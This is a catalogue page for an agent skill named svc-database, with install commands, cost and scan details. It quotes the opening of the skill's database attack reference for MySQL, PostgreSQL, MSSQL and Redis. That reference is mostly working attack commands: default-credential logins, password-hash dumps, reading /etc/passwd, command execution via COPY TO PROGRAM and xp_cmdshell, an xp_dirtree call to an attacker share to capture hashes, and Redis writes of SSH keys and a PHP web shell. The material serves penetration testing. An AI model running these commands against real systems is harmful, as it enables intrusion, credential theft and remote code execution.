svc-database

A database security-testing guide covering MySQL, PostgreSQL, Microsoft SQL Server, Oracle, Redis, and MongoDB. It lists checks for weak access controls, data exposure, file access, and command execution.

In plain words
What is it for?
Use it to test database logins, identify databases and users, check file reading or writing, and assess whether database access could lead to command execution.
Why use it?
It gives a tester a starting point when a database is exposed or database credentials are available, so service-specific checks are not missed.

Skill for Claude CodeCodex

Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

agentmods
npx agentmods add skills/s0ld13rr/pentestcode/database
Any agent
npx skills add s0ld13rr/pentestcode --skill database
Clone the repo
git clone --depth 1 https://github.com/s0ld13rr/pentestcode

Made for: Claude Code, Codex.

Per session 95 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 788 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 1 finding. Scan, not verified.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5 $0.00095 $0.00788
Opus 5 $0.00048 $0.00394
Sonnet 5 $0.00019 $0.00158
Haiku 4.5 $0.00010 $0.00079

Measured yesterday against content hash a6211a9b49dd, method: parsed. Prices are Anthropic first-party input rates as of 2026-08-30, from the pricing page.

Security

Grade A, and why

svc-database scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured yesterday.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

curl http://<target>:9200/
skills/services/database/SKILL.md · 99 lines

How it starts

The opening of the file, as written. The whole thing — 99 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Database Attack Reference

MySQL (3306)

# Default/empty password
mysql -h <target> -u root
mysql -h <target> -u root -p root

# Nmap scripts
nmap --script mysql-info,mysql-enum,mysql-empty-password -p 3306 <target>

# If authenticated
mysql> SELECT @@version;
mysql> SHOW DATABASES;
mysql> SELECT user,authentication_string FROM mysql.user;

# File read (requires FILE privilege)
mysql> SELECT LOAD_FILE('/etc/passwd');

# UDF command execution (requires write to plugin dir)
# Upload lib_mysqludf_sys.so → SELECT sys_exec('id');

PostgreSQL (5432)

# Default credentials
psql -h <target> -U postgres
psql -h <target> -U postgres -W   # try: postgres, password, admin

# Nmap scripts
nmap --script pgsql-brute -p 5432 <target>

# If authenticated
postgres=# SELECT version();
postgres=# \l                        -- list databases
postgres=# SELECT usename, passwd FROM pg_shadow;

# Command execution (superuser)
postgres=# COPY (SELECT '') TO PROGRAM 'id';
# Or via large objects

MSSQL (1433)

# Default SA account
impacket-mssqlclient <target> -windows-auth
impacket-mssqlclient sa:''@<target>

# Nmap scripts
nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-brute -p 1433 <target>

# If authenticated — command execution
SQL> EXEC xp_cmdshell 'whoami';
# Enable if disabled
SQL> EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;

# File read
SQL> EXEC xp_dirtree '\\<attacker>\share';   # capture hash via responder

Redis (6379)

# No-auth access
redis-cli -h <target> INFO
redis-cli -h <target> CONFIG GET *
redis-cli -h <target> KEYS *

# SSH key write for RCE
redis-cli -h <target> CONFIG SET dir /root/.ssh
redis-cli -h <target> CONFIG SET dbfilename authorized_keys
redis-cli -h <target> SET payload "\n\nssh-rsa AAAA...your_key...\n\n"
redis-cli -h <target> SAVE

# Webshell via Redis
redis-cli -h <target> CONFIG SET dir /var/www/html
redis-cli -h <target> CONFIG SET dbfilename shell.php
redis-cli -h <target> SET payload '<?php system($_GET["cmd"]); ?>'
redis-cli -h <target> SAVE

Read the full file on GitHub · 99 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. yesterday First seen · 99 lines · 95 tokens per session scan A a6211a9b49dd

Subscribe to this mod's changes

svc-database is a skill published in the GitHub repository s0ld13rr/pentestcode (566 stars, last pushed 11d ago), licensed MIT. It adds 95 tokens to every session and 788 once invoked, about $0.0005 per session on Opus 5. A static security scan graded it A with 1 finding (makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.